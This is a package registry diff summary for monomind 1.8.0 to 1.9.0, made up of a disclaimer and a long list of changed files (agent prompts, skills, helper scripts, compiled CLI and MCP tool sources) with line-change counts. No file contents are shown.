monomind 1.8.0 → 1.9.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (566) hide show
  1. package/.claude/agents/design/design-monodesign.md +121 -0
  2. package/.claude/agents/github/issue-tracker.md +12 -12
  3. package/.claude/agents/github/pr-manager.md +10 -10
  4. package/.claude/agents/github/release-manager.md +49 -105
  5. package/.claude/agents/github/repo-architect.md +73 -92
  6. package/.claude/agents/github/sync-coordinator.md +55 -123
  7. package/.claude/agents/marketing/marketing-competitive-content.md +155 -0
  8. package/.claude/agents/marketing/marketing-content-creator.md +13 -0
  9. package/.claude/agents/marketing/marketing-cro-specialist.md +147 -0
  10. package/.claude/agents/marketing/marketing-email-specialist.md +90 -0
  11. package/.claude/agents/marketing/marketing-launch-strategist.md +129 -0
  12. package/.claude/agents/marketing/marketing-pricing-strategist.md +127 -0
  13. package/.claude/agents/specialists/integration-architect.md +94 -0
  14. package/.claude/commands/agents/README.md +4 -0
  15. package/.claude/commands/agents/agent-capabilities.md +6 -2
  16. package/.claude/commands/agents/agent-coordination.md +4 -0
  17. package/.claude/commands/agents/agent-spawning.md +4 -0
  18. package/.claude/commands/agents/agent-types.md +6 -2
  19. package/.claude/commands/analysis/README.md +14 -5
  20. package/.claude/commands/analysis/bottleneck-detect.md +30 -123
  21. package/.claude/commands/analysis/performance-bottlenecks.md +14 -14
  22. package/.claude/commands/analysis/performance-report.md +38 -11
  23. package/.claude/commands/analysis/token-efficiency.md +13 -16
  24. package/.claude/commands/analysis/token-usage.md +34 -12
  25. package/.claude/commands/automation/README.md +15 -5
  26. package/.claude/commands/automation/auto-agent.md +49 -85
  27. package/.claude/commands/automation/self-healing.md +20 -18
  28. package/.claude/commands/automation/session-memory.md +28 -29
  29. package/.claude/commands/automation/smart-agents.md +17 -9
  30. package/.claude/commands/automation/smart-spawn.md +52 -11
  31. package/.claude/commands/automation/workflow-select.md +46 -11
  32. package/.claude/commands/browse.md +5 -0
  33. package/.claude/commands/coordination/README.md +9 -5
  34. package/.claude/commands/coordination/agent-spawn.md +53 -9
  35. package/.claude/commands/coordination/swarm-init.md +39 -42
  36. package/.claude/commands/coordination/task-orchestrate.md +65 -11
  37. package/.claude/commands/github/README.md +21 -8
  38. package/.claude/commands/github/github-modes.md +9 -5
  39. package/.claude/commands/github/issue-tracker.md +34 -33
  40. package/.claude/commands/github/pr-manager.md +20 -17
  41. package/.claude/commands/github/release-manager.md +37 -49
  42. package/.claude/commands/github/repo-architect.md +39 -41
  43. package/.claude/commands/github/sync-coordinator.md +45 -49
  44. package/.claude/commands/hive-mind/README.md +42 -17
  45. package/.claude/commands/hive-mind/hive-mind-consensus.md +68 -4
  46. package/.claude/commands/hive-mind/hive-mind-init.md +55 -5
  47. package/.claude/commands/hive-mind/hive-mind-memory.md +69 -4
  48. package/.claude/commands/hive-mind/hive-mind-spawn.md +71 -10
  49. package/.claude/commands/hive-mind/hive-mind-status.md +52 -4
  50. package/.claude/commands/hive-mind/hive-mind-stop.md +51 -4
  51. package/.claude/commands/hive-mind/hive-mind.md +74 -14
  52. package/.claude/commands/hooks/README.md +62 -7
  53. package/.claude/commands/hooks/overview.md +94 -35
  54. package/.claude/commands/hooks/post-edit.md +48 -87
  55. package/.claude/commands/hooks/post-task.md +37 -87
  56. package/.claude/commands/hooks/pre-edit.md +52 -84
  57. package/.claude/commands/hooks/pre-task.md +46 -81
  58. package/.claude/commands/hooks/session-end.md +49 -85
  59. package/.claude/commands/hooks/setup.md +87 -58
  60. package/.claude/commands/mastermind/_repeat.md +308 -0
  61. package/.claude/commands/mastermind/architect.md +49 -0
  62. package/.claude/commands/mastermind/brain.md +98 -0
  63. package/.claude/commands/mastermind/build.md +22 -0
  64. package/.claude/commands/mastermind/content.md +22 -0
  65. package/.claude/commands/mastermind/createorg.md +94 -0
  66. package/.claude/commands/mastermind/finance.md +22 -0
  67. package/.claude/commands/mastermind/idea.md +22 -0
  68. package/.claude/commands/mastermind/marketing.md +22 -0
  69. package/.claude/commands/mastermind/master.md +379 -0
  70. package/.claude/commands/mastermind/ops.md +22 -0
  71. package/.claude/commands/mastermind/release.md +22 -0
  72. package/.claude/commands/mastermind/research.md +22 -0
  73. package/.claude/commands/mastermind/review.md +22 -0
  74. package/.claude/commands/mastermind/runorg.md +106 -0
  75. package/.claude/commands/mastermind/sales.md +22 -0
  76. package/.claude/commands/mastermind/techport.md +17 -0
  77. package/.claude/commands/memory/README.md +75 -5
  78. package/.claude/commands/memory/memory-search.md +63 -11
  79. package/.claude/commands/monitoring/README.md +64 -4
  80. package/.claude/commands/monitoring/agent-metrics.md +50 -10
  81. package/.claude/commands/monitoring/agents.md +59 -32
  82. package/.claude/commands/monitoring/status.md +96 -34
  83. package/.claude/commands/monograph/README.md +102 -0
  84. package/.claude/commands/monograph/monograph-build.md +79 -0
  85. package/.claude/commands/monograph/monograph-search.md +96 -0
  86. package/.claude/commands/monograph/monograph-stats.md +53 -0
  87. package/.claude/commands/monograph/monograph-watch.md +63 -0
  88. package/.claude/commands/monograph/monograph-wiki.md +91 -0
  89. package/.claude/commands/monomind/createtask.md +277 -0
  90. package/.claude/commands/{monomind-do.md → monomind/do.md} +21 -8
  91. package/.claude/commands/monomind/help.md +118 -0
  92. package/.claude/commands/{monomind-idea.md → monomind/idea.md} +22 -28
  93. package/.claude/commands/{monomind-improve.md → monomind/improve.md} +21 -27
  94. package/.claude/commands/monomind/memory.md +230 -0
  95. package/.claude/commands/monomind/repeat.md +201 -0
  96. package/.claude/commands/monomind/review.md +313 -0
  97. package/.claude/commands/monomind/specialagents.md +125 -0
  98. package/.claude/commands/monomind/swarm.md +161 -0
  99. package/.claude/commands/monomind/understand.md +148 -0
  100. package/.claude/commands/optimization/README.md +69 -5
  101. package/.claude/commands/optimization/auto-topology.md +66 -43
  102. package/.claude/commands/optimization/parallel-execution.md +65 -39
  103. package/.claude/commands/optimization/performance-optimize.md +79 -0
  104. package/.claude/commands/pair/README.md +48 -230
  105. package/.claude/commands/pair/examples.md +85 -441
  106. package/.claude/commands/pair/modes.md +77 -303
  107. package/.claude/commands/pair/session.md +76 -359
  108. package/.claude/commands/sparc/analyzer.md +9 -26
  109. package/.claude/commands/sparc/architect.md +8 -25
  110. package/.claude/commands/sparc/ask.md +27 -68
  111. package/.claude/commands/sparc/batch-executor.md +8 -25
  112. package/.claude/commands/sparc/code.md +12 -53
  113. package/.claude/commands/sparc/coder.md +8 -25
  114. package/.claude/commands/sparc/debug.md +12 -53
  115. package/.claude/commands/sparc/debugger.md +8 -25
  116. package/.claude/commands/sparc/designer.md +8 -25
  117. package/.claude/commands/sparc/devops.md +16 -57
  118. package/.claude/commands/sparc/docs-writer.md +12 -53
  119. package/.claude/commands/sparc/documenter.md +8 -25
  120. package/.claude/commands/sparc/innovator.md +8 -25
  121. package/.claude/commands/sparc/integration.md +12 -53
  122. package/.claude/commands/sparc/mcp.md +12 -53
  123. package/.claude/commands/sparc/memory-manager.md +28 -25
  124. package/.claude/commands/sparc/optimizer.md +8 -25
  125. package/.claude/commands/sparc/orchestrator.md +35 -97
  126. package/.claude/commands/sparc/post-deployment-monitoring-mode.md +13 -54
  127. package/.claude/commands/sparc/refinement-optimization-mode.md +13 -54
  128. package/.claude/commands/sparc/researcher.md +8 -25
  129. package/.claude/commands/sparc/reviewer.md +8 -25
  130. package/.claude/commands/sparc/security-review.md +13 -54
  131. package/.claude/commands/sparc/sparc-modes.md +97 -151
  132. package/.claude/commands/sparc/sparc.md +16 -56
  133. package/.claude/commands/sparc/spec-pseudocode.md +13 -54
  134. package/.claude/commands/sparc/supabase-admin.md +19 -66
  135. package/.claude/commands/sparc/swarm-coordinator.md +21 -25
  136. package/.claude/commands/sparc/tdd.md +8 -25
  137. package/.claude/commands/sparc/tester.md +8 -25
  138. package/.claude/commands/sparc/tutorial.md +12 -53
  139. package/.claude/commands/sparc/workflow-manager.md +8 -25
  140. package/.claude/commands/sparc.md +76 -130
  141. package/.claude/commands/stream-chain/pipeline.md +72 -77
  142. package/.claude/commands/stream-chain/run.md +133 -47
  143. package/.claude/commands/swarm/README.md +37 -12
  144. package/.claude/commands/swarm/analysis.md +47 -69
  145. package/.claude/commands/swarm/development.md +45 -69
  146. package/.claude/commands/swarm/examples.md +77 -142
  147. package/.claude/commands/swarm/maintenance.md +47 -74
  148. package/.claude/commands/swarm/optimization.md +54 -87
  149. package/.claude/commands/swarm/research.md +47 -107
  150. package/.claude/commands/swarm/swarm-analysis.md +58 -4
  151. package/.claude/commands/swarm/swarm-background.md +61 -4
  152. package/.claude/commands/swarm/swarm-modes.md +63 -4
  153. package/.claude/commands/swarm/swarm-monitor.md +50 -4
  154. package/.claude/commands/swarm/swarm-status.md +40 -4
  155. package/.claude/commands/swarm/swarm-strategies.md +73 -5
  156. package/.claude/commands/swarm/swarm.md +70 -18
  157. package/.claude/commands/swarm/testing.md +51 -102
  158. package/.claude/commands/tokens.md +6 -1
  159. package/.claude/commands/training/README.md +36 -6
  160. package/.claude/commands/training/model-update.md +68 -15
  161. package/.claude/commands/training/neural-patterns.md +54 -55
  162. package/.claude/commands/training/neural-train.md +70 -16
  163. package/.claude/commands/training/pattern-learn.md +60 -16
  164. package/.claude/commands/training/specialization.md +78 -49
  165. package/.claude/commands/truth/start.md +87 -109
  166. package/.claude/commands/ts.md +7 -2
  167. package/.claude/commands/verify/check.md +90 -34
  168. package/.claude/commands/verify/start.md +71 -94
  169. package/.claude/commands/workflows/README.md +62 -6
  170. package/.claude/commands/workflows/development.md +69 -61
  171. package/.claude/commands/workflows/research.md +73 -47
  172. package/.claude/commands/workflows/workflow-create.md +75 -16
  173. package/.claude/commands/workflows/workflow-execute.md +94 -16
  174. package/.claude/commands/workflows/workflow-export.md +81 -16
  175. package/.claude/helpers/control-start.cjs +91 -0
  176. package/.claude/helpers/extras-registry.json +4104 -1991
  177. package/.claude/helpers/graphify-freshen.cjs +44 -13
  178. package/.claude/helpers/hook-handler.cjs +256 -1
  179. package/.claude/helpers/learning-service.mjs +0 -0
  180. package/.claude/helpers/loop-tracker.cjs +107 -0
  181. package/.claude/helpers/metrics-db.mjs +0 -0
  182. package/.claude/helpers/router.cjs +48 -68
  183. package/.claude/helpers/skill-registry.json +89 -104
  184. package/.claude/helpers/statusline.cjs +33 -2
  185. package/.claude/helpers/swarm-hooks.sh +0 -0
  186. package/.claude/scheduled_tasks.lock +1 -0
  187. package/.claude/settings.json +15 -0
  188. package/.claude/skills/.monomind/data/ranked-context.json +5 -0
  189. package/.claude/skills/.monomind/sessions/current.json +13 -0
  190. package/.claude/skills/.monomind/sessions/session-1777829336455.json +15 -0
  191. package/.claude/skills/.monomind/sessions/session-1777831614725.json +15 -0
  192. package/.claude/skills/.monomind/sessions/session-1777832095857.json +15 -0
  193. package/.claude/skills/.monomind/sessions/session-1777839814183.json +15 -0
  194. package/.claude/skills/.monomind/sessions/session-1777841847131.json +15 -0
  195. package/.claude/skills/.monomind/sessions/session-1777843309463.json +15 -0
  196. package/.claude/skills/.monomind/sessions/session-1777880867159.json +15 -0
  197. package/.claude/skills/.monomind/sessions/session-1777881884593.json +15 -0
  198. package/.claude/skills/.monomind/sessions/session-1777884090471.json +15 -0
  199. package/.claude/skills/.monomind/sessions/session-1777884808221.json +15 -0
  200. package/.claude/skills/.monomind/sessions/session-1777885672155.json +15 -0
  201. package/.claude/skills/.monomind/sessions/session-1777886852818.json +15 -0
  202. package/.claude/skills/.monomind/sessions/session-1777896532690.json +15 -0
  203. package/.claude/skills/agentdb-advanced/SKILL.md +11 -12
  204. package/.claude/skills/agentdb-learning/SKILL.md +20 -21
  205. package/.claude/skills/agentdb-memory-patterns/SKILL.md +28 -30
  206. package/.claude/skills/agentdb-optimization/SKILL.md +11 -12
  207. package/.claude/skills/agentdb-vector-search/SKILL.md +37 -41
  208. package/.claude/skills/{v3-integration-deep → agentic-integration}/SKILL.md +20 -13
  209. package/.claude/skills/agentic-jujutsu/SKILL.md +22 -22
  210. package/.claude/skills/{v3-cli-modernization → cli-modernization}/SKILL.md +17 -8
  211. package/.claude/skills/{v3-core-implementation → core-implementation}/SKILL.md +33 -8
  212. package/.claude/skills/{v3-ddd-architecture → ddd-architecture}/SKILL.md +18 -25
  213. package/.claude/skills/github-code-review/SKILL.md +82 -83
  214. package/.claude/skills/github-multi-repo/SKILL.md +42 -46
  215. package/.claude/skills/github-project-management/SKILL.md +83 -88
  216. package/.claude/skills/github-release-management/SKILL.md +12 -18
  217. package/.claude/skills/github-workflow-automation/SKILL.md +70 -74
  218. package/.claude/skills/hooks-automation/SKILL.md +9 -13
  219. package/.claude/skills/mastermind/_intake.md +83 -0
  220. package/.claude/skills/mastermind/_protocol.md +275 -0
  221. package/.claude/skills/mastermind/architect.md +847 -0
  222. package/.claude/skills/mastermind/build.md +158 -0
  223. package/.claude/skills/mastermind/content.md +185 -0
  224. package/.claude/skills/mastermind/createorg.md +318 -0
  225. package/.claude/skills/mastermind/finance.md +154 -0
  226. package/.claude/skills/mastermind/idea.md +158 -0
  227. package/.claude/skills/mastermind/marketing.md +216 -0
  228. package/.claude/skills/mastermind/monotask.md +350 -0
  229. package/.claude/skills/mastermind/ops.md +156 -0
  230. package/.claude/skills/mastermind/references/copywriting-frameworks.md +181 -0
  231. package/.claude/skills/mastermind/references/persuasion-psychology.md +158 -0
  232. package/.claude/skills/mastermind/release.md +156 -0
  233. package/.claude/skills/mastermind/research.md +156 -0
  234. package/.claude/skills/mastermind/review.md +157 -0
  235. package/.claude/skills/mastermind/runorg.md +308 -0
  236. package/.claude/skills/mastermind/sales.md +158 -0
  237. package/.claude/skills/mastermind/techport.md +743 -0
  238. package/.claude/skills/{v3-mcp-optimization → mcp-optimization}/SKILL.md +35 -14
  239. package/.claude/skills/{v3-memory-unification → memory-unification}/SKILL.md +20 -4
  240. package/.claude/skills/monodesign/SKILL.md +302 -0
  241. package/.claude/skills/monodesign/reference/adapt.md +190 -0
  242. package/.claude/skills/monodesign/reference/animate.md +175 -0
  243. package/.claude/skills/monodesign/reference/antipatterns-catalog.md +187 -0
  244. package/.claude/skills/monodesign/reference/audit.md +133 -0
  245. package/.claude/skills/monodesign/reference/bolder.md +113 -0
  246. package/.claude/skills/monodesign/reference/brand-workflow.md +180 -0
  247. package/.claude/skills/monodesign/reference/brand.md +114 -0
  248. package/.claude/skills/monodesign/reference/clarify.md +174 -0
  249. package/.claude/skills/monodesign/reference/cognitive-load.md +106 -0
  250. package/.claude/skills/monodesign/reference/color-and-contrast.md +105 -0
  251. package/.claude/skills/monodesign/reference/colorize.md +154 -0
  252. package/.claude/skills/monodesign/reference/component-specs.md +260 -0
  253. package/.claude/skills/monodesign/reference/component-states.md +274 -0
  254. package/.claude/skills/monodesign/reference/component-system.md +358 -0
  255. package/.claude/skills/monodesign/reference/copy-formulas.md +160 -0
  256. package/.claude/skills/monodesign/reference/craft.md +193 -0
  257. package/.claude/skills/monodesign/reference/critique.md +213 -0
  258. package/.claude/skills/monodesign/reference/delight.md +302 -0
  259. package/.claude/skills/monodesign/reference/design-principles.md +246 -0
  260. package/.claude/skills/monodesign/reference/distill.md +111 -0
  261. package/.claude/skills/monodesign/reference/document.md +427 -0
  262. package/.claude/skills/monodesign/reference/extract.md +69 -0
  263. package/.claude/skills/monodesign/reference/harden.md +347 -0
  264. package/.claude/skills/monodesign/reference/heuristics-scoring.md +234 -0
  265. package/.claude/skills/monodesign/reference/image-prompts.md +118 -0
  266. package/.claude/skills/monodesign/reference/interaction-design.md +195 -0
  267. package/.claude/skills/monodesign/reference/layout.md +141 -0
  268. package/.claude/skills/monodesign/reference/live.md +622 -0
  269. package/.claude/skills/monodesign/reference/motion-design.md +109 -0
  270. package/.claude/skills/monodesign/reference/onboard.md +234 -0
  271. package/.claude/skills/monodesign/reference/optimize.md +258 -0
  272. package/.claude/skills/monodesign/reference/overdrive.md +130 -0
  273. package/.claude/skills/monodesign/reference/personas.md +179 -0
  274. package/.claude/skills/monodesign/reference/polish.md +233 -0
  275. package/.claude/skills/monodesign/reference/pre-delivery-checklist.md +108 -0
  276. package/.claude/skills/monodesign/reference/product.md +62 -0
  277. package/.claude/skills/monodesign/reference/quieter.md +99 -0
  278. package/.claude/skills/monodesign/reference/responsive-design.md +114 -0
  279. package/.claude/skills/monodesign/reference/shape.md +151 -0
  280. package/.claude/skills/monodesign/reference/spatial-design.md +100 -0
  281. package/.claude/skills/monodesign/reference/teach.md +156 -0
  282. package/.claude/skills/monodesign/reference/token-architecture.md +222 -0
  283. package/.claude/skills/monodesign/reference/typeset.md +124 -0
  284. package/.claude/skills/monodesign/reference/typography.md +159 -0
  285. package/.claude/skills/monodesign/reference/ux-research.md +143 -0
  286. package/.claude/skills/monodesign/reference/ux-rules.md +211 -0
  287. package/.claude/skills/monodesign/reference/ux-writing.md +107 -0
  288. package/.claude/skills/monomotion/SKILL.md +145 -0
  289. package/.claude/skills/monomotion/rules/api-control.md +139 -0
  290. package/.claude/skills/monomotion/rules/effects.md +109 -0
  291. package/.claude/skills/monomotion/rules/integration.md +140 -0
  292. package/.claude/skills/monomotion/rules/scroll.md +131 -0
  293. package/.claude/skills/monomotion/rules/sequencing.md +105 -0
  294. package/.claude/skills/monomotion/rules/svg.md +101 -0
  295. package/.claude/skills/monomotion/rules/text.md +119 -0
  296. package/.claude/skills/pair-programming/SKILL.md +1 -1
  297. package/.claude/skills/performance-analysis/SKILL.md +3 -3
  298. package/.claude/skills/{v3-performance-optimization → performance-optimization}/SKILL.md +16 -8
  299. package/.claude/skills/reasoningbank-agentdb/SKILL.md +17 -19
  300. package/.claude/skills/reasoningbank-intelligence/SKILL.md +4 -6
  301. package/.claude/skills/{v3-security-overhaul → security-hardening}/SKILL.md +13 -3
  302. package/.claude/skills/skill-builder/SKILL.md +19 -19
  303. package/.claude/skills/sparc-methodology/SKILL.md +55 -211
  304. package/.claude/skills/stop-slop/SKILL.md +67 -0
  305. package/.claude/skills/stop-slop/references/examples.md +61 -0
  306. package/.claude/skills/stop-slop/references/phrases.md +130 -0
  307. package/.claude/skills/stop-slop/references/structures.md +136 -0
  308. package/.claude/skills/swarm-advanced/SKILL.md +13 -43
  309. package/.claude/skills/{v3-swarm-coordination → swarm-coordination}/SKILL.md +39 -21
  310. package/.claude/skills/swarm-orchestration/SKILL.md +12 -12
  311. package/.claude/skills/verification-quality/SKILL.md +5 -5
  312. package/.claude/statusline-command.sh +0 -0
  313. package/.claude/statusline.sh +0 -0
  314. package/.claude-plugin/scripts/install.sh +0 -0
  315. package/.claude-plugin/scripts/uninstall.sh +0 -0
  316. package/.claude-plugin/scripts/verify.sh +0 -0
  317. package/README.md +5 -5
  318. package/package.json +17 -17
  319. package/packages/@monomind/cli/README.md +441 -0
  320. package/packages/@monomind/cli/bin/cli.js +78 -13
  321. package/packages/@monomind/cli/bin/mcp-server.js +0 -0
  322. package/packages/@monomind/cli/dist/src/agents/halt-signal.js +33 -7
  323. package/packages/@monomind/cli/dist/src/agents/managed-agent.js +5 -2
  324. package/packages/@monomind/cli/dist/src/agents/prompt-experiment.d.ts +3 -2
  325. package/packages/@monomind/cli/dist/src/agents/prompt-experiment.js +1 -1
  326. package/packages/@monomind/cli/dist/src/agents/prompt-version-manager.d.ts +5 -2
  327. package/packages/@monomind/cli/dist/src/agents/prompt-version-manager.js +26 -4
  328. package/packages/@monomind/cli/dist/src/agents/specialization-scorer.js +17 -9
  329. package/packages/@monomind/cli/dist/src/agents/trigger-scanner.d.ts +5 -3
  330. package/packages/@monomind/cli/dist/src/agents/trigger-scanner.js +58 -10
  331. package/packages/@monomind/cli/dist/src/agents/version-store.d.ts +0 -1
  332. package/packages/@monomind/cli/dist/src/agents/version-store.js +44 -21
  333. package/packages/@monomind/cli/dist/src/autopilot-state.js +79 -28
  334. package/packages/@monomind/cli/dist/src/benchmarks/benchmark-runner.d.ts +7 -2
  335. package/packages/@monomind/cli/dist/src/benchmarks/benchmark-runner.js +20 -8
  336. package/packages/@monomind/cli/dist/src/benchmarks/metric-evaluators.d.ts +2 -1
  337. package/packages/@monomind/cli/dist/src/benchmarks/metric-evaluators.js +25 -2
  338. package/packages/@monomind/cli/dist/src/commands/agent.js +6 -4
  339. package/packages/@monomind/cli/dist/src/commands/appliance-advanced.js +23 -0
  340. package/packages/@monomind/cli/dist/src/commands/autopilot.js +3 -3
  341. package/packages/@monomind/cli/dist/src/commands/benchmark.js +119 -8
  342. package/packages/@monomind/cli/dist/src/commands/claims.js +22 -14
  343. package/packages/@monomind/cli/dist/src/commands/config.js +32 -0
  344. package/packages/@monomind/cli/dist/src/commands/daemon.js +13 -11
  345. package/packages/@monomind/cli/dist/src/commands/deployment.js +21 -2
  346. package/packages/@monomind/cli/dist/src/commands/doctor.js +5 -4
  347. package/packages/@monomind/cli/dist/src/commands/embeddings.js +124 -48
  348. package/packages/@monomind/cli/dist/src/commands/hive-mind.js +15 -14
  349. package/packages/@monomind/cli/dist/src/commands/hooks.js +45 -41
  350. package/packages/@monomind/cli/dist/src/commands/index.d.ts +2 -0
  351. package/packages/@monomind/cli/dist/src/commands/index.js +20 -7
  352. package/packages/@monomind/cli/dist/src/commands/init.js +53 -19
  353. package/packages/@monomind/cli/dist/src/commands/mcp.js +31 -44
  354. package/packages/@monomind/cli/dist/src/commands/memory.js +47 -15
  355. package/packages/@monomind/cli/dist/src/commands/migrate.js +156 -108
  356. package/packages/@monomind/cli/dist/src/commands/monograph.d.ts +8 -0
  357. package/packages/@monomind/cli/dist/src/commands/monograph.js +526 -0
  358. package/packages/@monomind/cli/dist/src/commands/neural.js +96 -56
  359. package/packages/@monomind/cli/dist/src/commands/performance.js +30 -8
  360. package/packages/@monomind/cli/dist/src/commands/plugins.js +13 -37
  361. package/packages/@monomind/cli/dist/src/commands/process.js +25 -2
  362. package/packages/@monomind/cli/dist/src/commands/providers.js +37 -5
  363. package/packages/@monomind/cli/dist/src/commands/replay.js +4 -4
  364. package/packages/@monomind/cli/dist/src/commands/route.js +37 -5
  365. package/packages/@monomind/cli/dist/src/commands/ruvector/import.js +12 -2
  366. package/packages/@monomind/cli/dist/src/commands/ruvector/init.js +15 -0
  367. package/packages/@monomind/cli/dist/src/commands/ruvector/status.js +16 -3
  368. package/packages/@monomind/cli/dist/src/commands/security.js +342 -193
  369. package/packages/@monomind/cli/dist/src/commands/session.js +51 -8
  370. package/packages/@monomind/cli/dist/src/commands/start.js +18 -4
  371. package/packages/@monomind/cli/dist/src/commands/swarm.js +47 -36
  372. package/packages/@monomind/cli/dist/src/commands/tokens.js +11 -11
  373. package/packages/@monomind/cli/dist/src/commands/transfer-store.js +1 -1
  374. package/packages/@monomind/cli/dist/src/commands/workflow.js +31 -4
  375. package/packages/@monomind/cli/dist/src/config-adapter.d.ts +2 -1
  376. package/packages/@monomind/cli/dist/src/consensus/audit-writer.js +46 -13
  377. package/packages/@monomind/cli/dist/src/consensus/vote-signer.d.ts +0 -3
  378. package/packages/@monomind/cli/dist/src/consensus/vote-signer.js +9 -1
  379. package/packages/@monomind/cli/dist/src/dlq/dlq-reader.d.ts +4 -2
  380. package/packages/@monomind/cli/dist/src/dlq/dlq-reader.js +25 -8
  381. package/packages/@monomind/cli/dist/src/dlq/dlq-replayer.d.ts +10 -3
  382. package/packages/@monomind/cli/dist/src/dlq/dlq-replayer.js +50 -16
  383. package/packages/@monomind/cli/dist/src/dlq/dlq-writer.js +27 -5
  384. package/packages/@monomind/cli/dist/src/eval/dataset-manager.d.ts +2 -2
  385. package/packages/@monomind/cli/dist/src/eval/dataset-manager.js +26 -16
  386. package/packages/@monomind/cli/dist/src/eval/trace-collector.js +23 -3
  387. package/packages/@monomind/cli/dist/src/index.js +12 -10
  388. package/packages/@monomind/cli/dist/src/init/claudemd-generator.js +8 -8
  389. package/packages/@monomind/cli/dist/src/init/executor.js +153 -70
  390. package/packages/@monomind/cli/dist/src/init/helpers-generator.js +35 -22
  391. package/packages/@monomind/cli/dist/src/init/mcp-generator.js +3 -3
  392. package/packages/@monomind/cli/dist/src/init/settings-generator.js +10 -3
  393. package/packages/@monomind/cli/dist/src/init/shared-instructions-generator.js +18 -3
  394. package/packages/@monomind/cli/dist/src/init/statusline-generator.js +3 -1
  395. package/packages/@monomind/cli/dist/src/init/types.d.ts +35 -11
  396. package/packages/@monomind/cli/dist/src/init/types.js +5 -9
  397. package/packages/@monomind/cli/dist/src/interactive/interrupt.js +8 -3
  398. package/packages/@monomind/cli/dist/src/mcp/tool-registry.js +38 -4
  399. package/packages/@monomind/cli/dist/src/mcp-client.js +10 -4
  400. package/packages/@monomind/cli/dist/src/mcp-server.d.ts +9 -2
  401. package/packages/@monomind/cli/dist/src/mcp-server.js +182 -35
  402. package/packages/@monomind/cli/dist/src/mcp-tools/agent-tools.js +66 -34
  403. package/packages/@monomind/cli/dist/src/mcp-tools/agentdb-tools.js +34 -7
  404. package/packages/@monomind/cli/dist/src/mcp-tools/analyze-tools.js +25 -16
  405. package/packages/@monomind/cli/dist/src/mcp-tools/auto-install.js +4 -6
  406. package/packages/@monomind/cli/dist/src/mcp-tools/autopilot-tools.js +12 -2
  407. package/packages/@monomind/cli/dist/src/mcp-tools/browser-tools.js +199 -20
  408. package/packages/@monomind/cli/dist/src/mcp-tools/claims-tools.js +68 -18
  409. package/packages/@monomind/cli/dist/src/mcp-tools/config-tools.js +33 -5
  410. package/packages/@monomind/cli/dist/src/mcp-tools/coordination-tools.js +59 -4
  411. package/packages/@monomind/cli/dist/src/mcp-tools/daa-tools.js +46 -10
  412. package/packages/@monomind/cli/dist/src/mcp-tools/embeddings-tools.js +46 -5
  413. package/packages/@monomind/cli/dist/src/mcp-tools/github-tools.js +29 -16
  414. package/packages/@monomind/cli/dist/src/mcp-tools/guidance-tools.js +38 -10
  415. package/packages/@monomind/cli/dist/src/mcp-tools/hive-mind-tools.js +96 -33
  416. package/packages/@monomind/cli/dist/src/mcp-tools/hooks-tools.js +70 -37
  417. package/packages/@monomind/cli/dist/src/mcp-tools/memory-tools.js +29 -13
  418. package/packages/@monomind/cli/dist/src/mcp-tools/monograph-tools.js +5867 -56
  419. package/packages/@monomind/cli/dist/src/mcp-tools/neural-tools.js +121 -37
  420. package/packages/@monomind/cli/dist/src/mcp-tools/performance-tools.js +21 -8
  421. package/packages/@monomind/cli/dist/src/mcp-tools/progress-tools.js +10 -8
  422. package/packages/@monomind/cli/dist/src/mcp-tools/request-tracker.js +4 -1
  423. package/packages/@monomind/cli/dist/src/mcp-tools/ruvllm-tools.js +19 -8
  424. package/packages/@monomind/cli/dist/src/mcp-tools/session-tools.js +57 -17
  425. package/packages/@monomind/cli/dist/src/mcp-tools/swarm-tools.js +35 -17
  426. package/packages/@monomind/cli/dist/src/mcp-tools/system-tools.js +4 -3
  427. package/packages/@monomind/cli/dist/src/mcp-tools/task-tools.js +53 -13
  428. package/packages/@monomind/cli/dist/src/mcp-tools/terminal-tools.js +63 -14
  429. package/packages/@monomind/cli/dist/src/mcp-tools/transfer-tools.js +21 -16
  430. package/packages/@monomind/cli/dist/src/mcp-tools/workflow-tools.js +92 -23
  431. package/packages/@monomind/cli/dist/src/memory/ewc-consolidation.js +41 -10
  432. package/packages/@monomind/cli/dist/src/memory/intelligence.d.ts +2 -2
  433. package/packages/@monomind/cli/dist/src/memory/intelligence.js +39 -13
  434. package/packages/@monomind/cli/dist/src/memory/memory-bridge.d.ts +1 -0
  435. package/packages/@monomind/cli/dist/src/memory/memory-bridge.js +149 -56
  436. package/packages/@monomind/cli/dist/src/memory/memory-initializer.js +107 -45
  437. package/packages/@monomind/cli/dist/src/memory/sona-optimizer.d.ts +8 -1
  438. package/packages/@monomind/cli/dist/src/memory/sona-optimizer.js +25 -8
  439. package/packages/@monomind/cli/dist/src/observability/replay-reader.d.ts +40 -0
  440. package/packages/@monomind/cli/dist/src/observability/replay-reader.js +138 -0
  441. package/packages/@monomind/cli/dist/src/orchestration/routing-modes.js +35 -5
  442. package/packages/@monomind/cli/dist/src/parser.d.ts +8 -0
  443. package/packages/@monomind/cli/dist/src/parser.js +48 -14
  444. package/packages/@monomind/cli/dist/src/plugins/manager.js +112 -19
  445. package/packages/@monomind/cli/dist/src/plugins/store/discovery.d.ts +1 -1
  446. package/packages/@monomind/cli/dist/src/plugins/store/discovery.js +80 -62
  447. package/packages/@monomind/cli/dist/src/production/circuit-breaker.js +8 -1
  448. package/packages/@monomind/cli/dist/src/production/error-handler.d.ts +4 -2
  449. package/packages/@monomind/cli/dist/src/production/error-handler.js +27 -5
  450. package/packages/@monomind/cli/dist/src/production/monitoring.js +8 -4
  451. package/packages/@monomind/cli/dist/src/production/rate-limiter.js +30 -22
  452. package/packages/@monomind/cli/dist/src/ruvector/agent-wasm.js +2 -2
  453. package/packages/@monomind/cli/dist/src/ruvector/coverage-router.js +19 -9
  454. package/packages/@monomind/cli/dist/src/ruvector/diff-classifier.d.ts +1 -0
  455. package/packages/@monomind/cli/dist/src/ruvector/diff-classifier.js +26 -6
  456. package/packages/@monomind/cli/dist/src/ruvector/enhanced-model-router.js +24 -2
  457. package/packages/@monomind/cli/dist/src/ruvector/index.d.ts +1 -2
  458. package/packages/@monomind/cli/dist/src/ruvector/index.js +2 -2
  459. package/packages/@monomind/cli/dist/src/ruvector/model-router.d.ts +4 -2
  460. package/packages/@monomind/cli/dist/src/ruvector/model-router.js +30 -6
  461. package/packages/@monomind/cli/dist/src/ruvector/moe-router.d.ts +7 -0
  462. package/packages/@monomind/cli/dist/src/ruvector/moe-router.js +35 -12
  463. package/packages/@monomind/cli/dist/src/ruvector/q-learning-router.d.ts +7 -1
